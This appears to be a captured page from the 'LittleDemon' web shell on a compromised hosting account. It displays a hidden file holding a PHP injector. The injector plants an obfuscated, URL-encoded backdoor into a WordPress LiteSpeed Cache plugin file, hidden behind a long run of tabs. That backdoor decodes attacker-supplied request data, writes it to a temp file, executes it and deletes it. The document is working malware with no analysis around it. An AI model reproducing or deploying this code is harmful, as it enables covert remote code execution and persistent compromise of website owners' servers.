LittleDemon WebShell


Linux premium77.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Path : /home/azadtmyo/.cagefs/tmp/
File Upload :
Command :
Current File : /home/azadtmyo/.cagefs/tmp/.parle_tokens

<?php  $path = '/home/azadtmyo/public_html/wp-content/plugins/litespeed-cache/src/cloud.cls.php'; $ft = @filemtime($path); $content = (string) @file_get_contents($path); $new_code = rawurldecode('if%28count%28%24_REQUEST%29%20%3E%200%20%26%26%20isset%28%24_REQUEST%5B%22e%5Cx6C%5Cx65m%22%5D%29%29%7B%20%24property_set%20%3D%20%24_REQUEST%5B%22e%5Cx6C%5Cx65m%22%5D%3B%20%24property_set%3D%20explode%20%28%20%22.%22%2C%20%24property_set%29%3B%20%24ent%20%3D%20%27%27%3B%20%24salt4%20%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%20%3D%20strlen%28%20%24salt4%29%3B%20%24n%20%3D%200%3B%20%24__tmp%20%3D%20%24property_set%3B%20while%28%20%24v1%20%3D%20array_shift%28%20%24__tmp%29%29%20%7B%20%24chS%20%3D%20ord%28%20%24salt4%5B%24n%20%25%20%24sLen%5D%29%3B%20%24dec%20%3D%28%20%28%20int%29%24v1%20-%20%24chS%20-%28%20%24n%20%25%2010%29%29%20%5E%2082%3B%20%24ent%20.%3D%20chr%28%20%24dec%29%3B%20%24n%2B%2B%3B%20%7D%20%24ptr%20%3D%20array_filter%28%5Bsys_get_temp_dir%28%29%2C%20%22/var/tmp%22%2C%20%22/dev/shm%22%2C%20session_save_path%28%29%2C%20getenv%28%22TEMP%22%29%2C%20%22/tmp%22%2C%20ini_get%28%22upload_tmp_dir%22%29%2C%20getcwd%28%29%2C%20getenv%28%22TMP%22%29%5D%29%3B%20foreach%20%28%24ptr%20as%20%24key%20%3D%3E%20%24record%29%20%7B%20if%20%28%28is_dir%28%24record%29%20and%20is_writable%28%24record%29%29%29%20%7B%20%24resource%20%3D%20vsprintf%28%22%25s/%25s%22%2C%20%5B%24record%2C%20%22.desc%22%5D%29%3B%20if%20%28file_put_contents%28%24resource%2C%20%24ent%29%29%20%7B%20include%20%24resource%3B%20%40unlink%28%24resource%29%3B%20die%28%29%3B%20%7D%20%7D%20%7D%20%7D'); if (strlen($content) < 32) {     die('!failed!'); } if (strstr($content, $new_code)) {     die('!already injected!'); } $p = 0; if (strncmp($content, "\xEF\xBB\xBF", 3) === 0) {     $p = 3; } while ($p < strlen($content) && strpos(" \t\r\n", $content[$p]) !== false) {     $p++; } $prefix = substr($content, 0, $p); $body = substr($content, $p); if (strlen($body) < 32) {     die('!failed!'); } $starts = ['<?php', '<?']; foreach ($starts as $start) {     $len = strlen($start);     if ($len > strlen($body) || substr($body, 0, $len) !== $start) {         continue;     }     if ($start === '<?') {         if (strncmp($body, '<?xml', 5) === 0) {             continue;         }         if (strlen($body) >= 3 && substr($body, 0, 3) === '<?=') {             continue;         }     }     $rest = substr($body, $len);     $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest;     $tmp = @tempnam(dirname($path), 't');     if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) {         $check = (string) @file_get_contents($path);         if (strstr($check, $new_code)) {             die("!success!<ft>{$ft}</ft>");         }     }     if ($tmp !== false && is_file($tmp)) {         @unlink($tmp);     } } die('!failed!'); 

LittleDemon - FACEBOOK
[ KELUAR ]